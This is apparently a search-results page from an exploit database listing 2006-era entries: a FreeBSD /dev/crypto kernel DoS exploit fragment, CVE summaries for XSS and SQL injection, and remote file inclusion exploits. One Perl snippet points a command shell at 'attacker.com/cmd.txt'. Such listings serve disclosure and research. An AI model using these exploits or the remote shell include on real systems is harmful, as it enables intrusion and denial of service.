6926 matches found
FreeBSD 6.1 - '/dev/crypto' Local Kernel Denial of Service
// Evgeny Legerov elegerov.blogspot.com include unistd.h include sys/types.h include stdio.h include fcntl.h include crypto/cryptodev.h int main int fd2, fd; struct cryptkop kop; printf"FreeBSD 6.1 /dev/crypto local kernel DoS\n"; fd2 = open"/dev/crypto", ORDWR, 0; if fd2 == -1 perror"open";...
FreeBSD 6.1 (/dev/crypto) Local Kernel Denial of Service Exploit
Exploit for bsd platform in category dos / poc ================================================================ FreeBSD 6.1 /dev/crypto Local Kernel Denial of Service Exploit ================================================================ // Evgeny Legerov elegerov.blogspot.com include unistd.h...
CVE-2006-5447
Cross-site scripting XSS vulnerability in index.php in DEV Web Management System WMS 1.5 allows remote attackers to inject arbitrary web script or HTML via the action parameter...
CVE-2006-5447
Cross-site scripting XSS vulnerability in index.php in DEV Web Management System WMS 1.5 allows remote attackers to inject arbitrary web script or HTML via the action parameter...
CVE-2006-5447
The vulnerability CVE-2006-5447 affects DEV Web Management System (WMS) version 1.5 as described in PT-2006-6166. It is a cross-site scripting (XSS) flaw in index.php where the action parameter can be exploited to inject arbitrary web script or HTML. The core issue is an XSS exposure in the index...
CVE-2006-5447: Undefined Security Weakness
Cross-site scripting XSS vulnerability in index.php in DEV Web Management System WMS 1.5 allows remote attackers to inject arbitrary web script or HTML via the action parameter...
{x0n3-h4ck} DEV Web Manager System <= 1.5 XSS Exploit
-=--------------------ADVISORY-------------------=- -= =- -= DEV Web Manager System = 1.5 =- -= =- -= Author: CorryL corryl80 at gmail dot com email concealed =- -= www.x0n3-h4ck.org =- -=----------------------------------------------------=- -=+ Application: DEV Web Manager System -=+ Version: 1...
phpbbrpg-rfi.txt
!/usr/bin/perl PHPBB RPG Events 1.0.0 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high Site: http://mods.best-dev.com/old/files/rpgevents-part2.zip use IO::Socket; use LWP::Simple; $cmdshell="http://attacker.com/cmd.txt"; ";$cmd = ; while$cmd !...
Dev Web Manager System 1.5 - index.php Cross-Site Scripting
Dev Web Manager System 1.5 - index.php Cross-Site Scripting source: https://www.securityfocus.com/bid/20590/info DEV Web Manager System is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied input. An attacker may leverage this issue to have...
Debian DSA-873-1 : net-snmp - programming error
A security vulnerability has been found in Net-SNMP releases that could allow a denial of service attack against Net-SNMP agents that have opened a stream based protocol e.g. TCP but not UDP. By default, Net-SNMP does not open a TCP port. %NASLMINLEVEL 70300 C Tenable Network Security, Inc. The...
phpBB RPG Events 1.0 functions_rpg_events Remote File Include Exploit
No description provided by source. !/usr/bin/perl PHPBB RPG Events 1.0.0 Class: Remote File Include Vulnerability Patch: unavailable Date: 2006/10/12 Remote: Yes Type: high...
Exhibit Engine 1.5 RC 4 - 'photo_comment.php' File Inclusion
' ' EXPLOIT coded by Kacper in Visual Basic ;- ' '::::::::: :::::::::: ::: ::: ::::::::::: ::: ':+: :+: :+: :+: :+: :+: :+: '+:+ +:+ +:+ +:+ +:+ +:+ +:+ '++ +:+ +++:++ ++ +:+ ++ ++ '++ ++ ++ ++ ++ ++ ++ '+ + + +++ + + ' '::::::::::: :::::::::: ::: :::: :::: ' :+: :+: :+: :+: +:+:+: :+:+:+ ' +:+ +...
CVE-2006-3347
SQL injection vulnerability in index.php in deV!Lz Clanportal DZCP 1.3.4 allows remote attackers to execute arbitrary SQL commands via the id parameter...
CVE-2006-3347
SQL injection vulnerability in index.php in deV!Lz Clanportal DZCP 1.3.4 allows remote attackers to execute arbitrary SQL commands via the id parameter...
CVE-2006-3347
CVE-2006-3347 describes an SQL injection in the PHP file index.php of the deV!Lz Clanportal DZCP 1.3.4. The vulnerability is triggered via the id parameter, allowing remote attackers to execute arbitrary SQL commands. The NVD entry indicates a network-exposed, low-attack-complexity flaw with no a...
CVE-2006-3347: Undefined Security Weakness
SQL injection vulnerability in index.php in deV!Lz Clanportal DZCP 1.3.4 allows remote attackers to execute arbitrary SQL commands via the id parameter...
WebspotBlogging <= 3.0.1 (path) Remote File Include Vulnerability
Exploit for unknown platform in category web applications ================================================================= WebspotBlogging = 3.0.1 path Remote File Include Vulnerability ================================================================= $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH...
CS-Cart <= 1.3.3 (classes_dir) Remote File Include Vulnerability
No description provided by source. $$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$ $$ $$ CS-Cart 1.3.3 classesdir = Remote File Include Vulnerability $$ Script site: http://www.cs-cart.com $$ Dork: Powered by CS-Cart - Shopping Cart Software $$...
WebspotBlogging 3.0.1 - 'path' Remote File Inclusion
$$$$$$$$$$$$$$$ DEVIL TEAM THE BEST POLISH TEAM $$$$$$$$$$$$$$$ $$ $$ Webspotblogging 3.0.1 path = Remote File Include Vulnerability $$ Script site: http://blogging.webspot.co.uk/ $$ dork: Powered by WebspotBlogging $$ $$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$ $$ $$ Find by:...
CVE-2006-1203
PHP remote file include vulnerability in common.php in txtForum 1.0.4-dev and earlier allows remote attackers to include and execute arbitrary PHP code via a URL in the skin parameter to login.php, and possibly other parameters to other PHP scripts, related to include statements in common.php...